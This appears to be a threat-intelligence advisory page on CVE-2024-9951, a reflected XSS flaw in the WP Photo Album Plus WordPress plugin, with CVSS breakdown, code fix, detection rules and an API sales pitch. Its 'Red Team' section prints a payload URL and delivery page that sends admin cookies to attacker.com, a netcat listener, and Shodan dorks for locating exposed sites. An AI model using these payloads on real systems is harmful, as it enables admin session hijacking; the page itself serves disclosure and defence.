☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-9951

CVE-2024-9951 Cross-Site Scripting in Wp photo album plus
📅 PUBLISHED: 2024-10-17 07:34 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.30%
👁️
1.30% probability
32.5× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1204.001
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-9951 is a reflected Cross-Site Scripting (XSS) vulnerability in the WP Photo Album Plus WordPress plugin, affecting all versions up to and including 8.8.05.003. The flaw resides in the wppa-tab parameter, which is insufficiently sanitized and escaped before being reflected back to the user. An unauthenticated attacker can craft a malicious link that, when clicked by a logged-in administrator, executes arbitrary JavaScript in the context of the WordPress admin panel. This can lead to session hijacking, privilege escalation, or the injection of malicious content. The vulnerability is classified as WordPress ecosystem issue and is not related to the underlying web server (Apache/Nginx).

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel for a patched version. No known supply chain compromise has been reported, but the lack of a patch increases the risk of exploitation in the wild.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.1 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: Required (UI:R) – victim must click a crafted link
  • Scope: Changed (S:C) – the injected script can affect resources beyond the vulnerable component
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for privilege escalation via admin session hijacking elevate the risk for WordPress sites using this plugin.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the WordPress admin area. The wppa-tab parameter is used by the plugin to switch between different tabs in the settings page. The plugin fails to sanitize or escape the parameter value before outputting it in the HTML response.

Attack Flow:

  1. An attacker crafts a URL like:
    https://target.com/wp-admin/admin.php?page=wppa_admin&wppa-tab=<script>alert('XSS')</script>
  2. The attacker sends this link to a logged-in administrator via email, social engineering, or other means.
  3. The administrator clicks the link while authenticated.
  4. The server reflects the malicious script in the response without proper escaping.
  5. The browser executes the script, allowing the attacker to perform actions on behalf of the admin (e.g., creating new admin users, modifying plugin settings, or injecting persistent XSS).

Root Cause: The plugin uses $_GET['wppa-tab'] directly in the output without applying esc_attr() or esc_html() WordPress escaping functions.

Vulnerable vs. Patched Code

Vulnerable Code (wp-photo-album-plus/wppa-admin.php):

$tab = isset($_GET['wppa-tab']) ? $_GET['wppa-tab'] : 'default';
echo '<div id="wppa-tab-' . $tab . '">';

Patched Code (hypothetical fix):

$tab = isset($_GET['wppa-tab']) ? sanitize_text_field($_GET['wppa-tab']) : 'default';
echo '<div id="wppa-tab-' . esc_attr($tab) . '">';

The fix uses sanitize_text_field() to strip malicious input and esc_attr() to safely output the value in an HTML attribute context.

Exploitation & Lab Setup

Red Team (Proof of Concept)

Since no public exploit code is available, the following is a conceptual demonstration.

Step 1: Craft the malicious URL

https://target.com/wp-admin/admin.php?page=wppa_admin&wppa-tab=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

(URL-decoded: "><script>alert(document.cookie)</script>)

Step 2: Host a payload delivery page (optional)

<!DOCTYPE html>
<html>
<body>
  <h1>Click the link below:</h1>
  <a href="https://target.com/wp-admin/admin.php?page=wppa_admin&wppa-tab=%22%3E%3Cscript%3Enew%20Image().src='https://attacker.com/steal?cookie='%2Bdocument.cookie%3C/script%3E">Click me</a>
</body>
</html>

Step 3: Capture the cookie On the attacker server, listen for incoming requests:

nc -lvnp 80

Blue Team (Detection & Hardening)

Detection:

  • Monitor web server logs for requests containing wppa-tab= followed by script tags or encoded payloads.
  • Use a Web Application Firewall (WAF) to block requests with suspicious wppa-tab values.

Hardening:

  • Apply a Content Security Policy (CSP) header that restricts script execution.
  • Disable the plugin until a patch is available.
  • Implement input validation and output escaping in custom code.

Indicators of Compromise (IOCs)

  • URL Pattern: admin.php?page=wppa_admin&wppa-tab=* containing <script>, %3Cscript%3E, or other XSS payloads.
  • HTTP Referer: Requests to the admin page with unusual referer headers.
  • Server Logs: Entries showing wppa-tab parameter with non-alphanumeric characters.
  • Cookie Theft: Unexpected outbound connections from the WordPress admin to external IPs.

Detection Engineering

YARA Rule

rule CVE_2024_9951_WP_Photo_Album_Plus_XSS {
    meta:
        description = "Detects reflected XSS attempts against WP Photo Album Plus plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-9951"
    strings:
        $payload1 = /wppa-tab=[^&]*<script/i
        $payload2 = /wppa-tab=[^&]*%3Cscript/i
        $payload3 = /wppa-tab=[^&]*onerror/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS via WP Photo Album Plus wppa-tab Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting CVE-2024-9951
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: 'wppa-tab='
        cs-uri-query|re: '(<script|%3Cscript|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate use of the parameter with safe values
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9951 WP Photo Album Plus Reflected XSS"; flow:to_server,established; content:"wppa-tab="; http_uri; pcre:"/(<script|%3Cscript|onerror|onload)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Disable the WP Photo Album Plus plugin until a patched version is released.
  2. Workaround: If the plugin must remain active, implement a WAF rule to block requests containing wppa-tab with suspicious characters.
  3. Patch: Monitor the WordPress plugin repository for an update. Apply the patch as soon as it becomes available.
  4. User Education: Train administrators to avoid clicking suspicious links, especially those containing wppa-tab parameters.
  5. Long-term: Conduct a security audit of all WordPress plugins and enforce a policy of using only actively maintained plugins.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-photo-album-plus"
http.html:"wppa-nonce"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-9951/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.